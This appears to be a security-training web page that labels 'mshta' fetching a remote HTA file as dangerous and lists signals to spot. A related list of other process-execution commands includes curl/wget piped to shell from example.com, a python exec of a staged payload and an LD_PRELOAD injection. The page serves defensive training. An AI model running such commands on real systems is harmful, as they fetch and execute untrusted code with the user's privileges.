Dangerous
mshta https://example.com/page.htawindows · powershell · Expert
Runs a remote HTML application through a trusted Windows binary. The command is four words long with no flags and no punctuation, yet mshta will fetch and execute scripting content from that URL with the user's privileges.
Signals to notice
- Executes remote scripting content
- Trusted signed binary used as the launcher
- No download step for a scanner to inspect
Think you can spot these under time pressure?
Start TrainingMore Process Execution
ps auxIntermediatecurl -fsSL https://example.com/install.sh | bashIntermediatewget -qO- https://example.com/setup | shAdvancedpython3 -c "exec(open('/tmp/stage2.py').read())"Advancedexport LD_PRELOAD=/tmp/.helper.so && /usr/bin/idAdvancedcurl -fsSL https://example.com/bootstrap | sudo bash -s -- --forceExpert